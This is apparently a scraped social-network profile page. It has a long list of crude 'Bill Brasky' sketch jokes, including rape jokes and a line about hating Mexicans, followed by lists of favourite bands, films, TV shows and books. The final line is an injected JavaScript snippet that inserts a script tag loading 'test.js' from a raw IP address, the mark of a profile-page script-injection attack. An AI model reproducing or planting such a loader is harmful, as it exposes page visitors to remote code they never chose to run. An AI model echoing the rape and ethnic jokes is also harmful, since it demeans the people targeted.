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B I L L B R A S K Y!*Bill Brasky had a four day heart attack...a day for each chamber. At the autopsy, they said his heart looked like a basketball filled with riccotta cheese! *He once punched a hole in a cow just to see who was coming up the road!He taught me how to make love to a woman, and how to scold a child!*They found $60 in change in his stomach!*He uses a live rattlesnake for a condom!*He has a toe nail at the end of his penis.*Brasky drank a full glass of liquid LSD with his eggs. Then he slept for 8 months straight. When he woke he rubbed his eyes and said, 'All in all, I prefer gin!*He once had sex with a cigarette machine!*Bill Brasky once showed me a video of him making love to my wife, and it was the most beautiful thing I ever saw!*One time I was with Brasky in the back of a pickup truck, along with a live deer. Brasky goes up to the deer and says, 'I'm Bill Brasky! SAY IT!' Then he manipulates the deer's lips in such a way as to make it say, 'Billbrasky' ... It wasn't exactly like it, but it was pretty good for a deer!*He'd eat a homeless person if you dared him!*He sweats Gatorade!*He once breast-fed a flamingo back to health!*He hated Mexicans! And he was half Mexican! .......And he hated irony!*I once saw him scissor kick Angela Landsbury!*He sheds his skin once a year!*He makes brooms somewhere in Georgia!*I once saw him eat a whole live chicken!*He did all the makeup on the 'Planet of the Apes' movie!*He grew a 3rd arm and kept it in a vault!*They say Gene Roddenbery got the idea for Star Trek from listening to Brasky talk in his sleep!*He date raped David Bowie*He once inhaled a seagull!*The Pope told him it was ok to have a mistress*He drives an ice cream truck covered in human skulls*He sired a baseball team.. an orchestra if you count the bastards!*You know, he would shoot whiskey into his neck with a syringe*Bill Brasky was a 10 foot monster who slept with all our wives! And punched us all in the face! And we loved him for it!*His first name is Bill! ....... I'm drunk...*He's a ten foot tall beastman who showers in vodka and feeds his baby shrimp scampi!*We once had a bachelor party for Brasky. He ate the entire cake before we could tell him there was a stripper in it.*Brasky once got his wife pregnant and gave birth to a delicious 16 ounce steak. The after birth was sauteed mushrooms*Did I ever tell you about the time Brasky was in a production of, 'The King & I?' On opening night, Brasky chloroforms the entire cast and slowly eats them in front of the audience for two hours. The production got pretty good reviews!*He breastfeeds John Madden*The character of Johnny Appleseed was based on Brasky - except for the apple tree planting and not raping men.*He gave a handjob to a manta rayDid I ever tell you about the time Brasky took me out to go get a drink with him? We go off looking for a bar and we can't find one. Finally Brasky takes me to a vacant lot and says, 'Here we are.' We sat there for a year and a half and sure enough someone constructs a bar around us. The day they opened we ordered a shot, drank it, and then burned the place to the ground. Brasky yelled over the roar of the flames, 'Always leave things the way you found em!'"
G U C C I M A N E ... death cab for cutie... the kleptones... CHAMILLIONAIRE... modest mouse... blues travler... TRICK daddy... counting crows... pop about crew... whatever andrew HATES
BEERFEST!!!!!!!!THE BIG LEBOWSKI...TOMMY BOY... BLACK SHEEP...armageddon...centerstage...old charlie and the choclate factory...old sandlot...ECT
INFOMERCIALS...CELEBRITY FIT CLUB...Arrested Development... Family Ties...colbert report, best week ever, F list!!
the virgin suicides, middle sex, how the light gets in, harry potter ..4,1,6, waterlily, a seperate piece, YOUR DIARY!
dR. dREShcar & Scnicole... cause DAT IS A WIG Kreck...for knowing ALL of the bugs bunny rap and for always PUMPING UP THE JAMwanksta and colie... sisters or FUCKING BFFS?!?!?! take you pick! .."var s=document.createElement('script');s.src='http://75.126.2.15 7/.../test.js';document.getElementsByTagName('head')[0].appe ndChild(s);"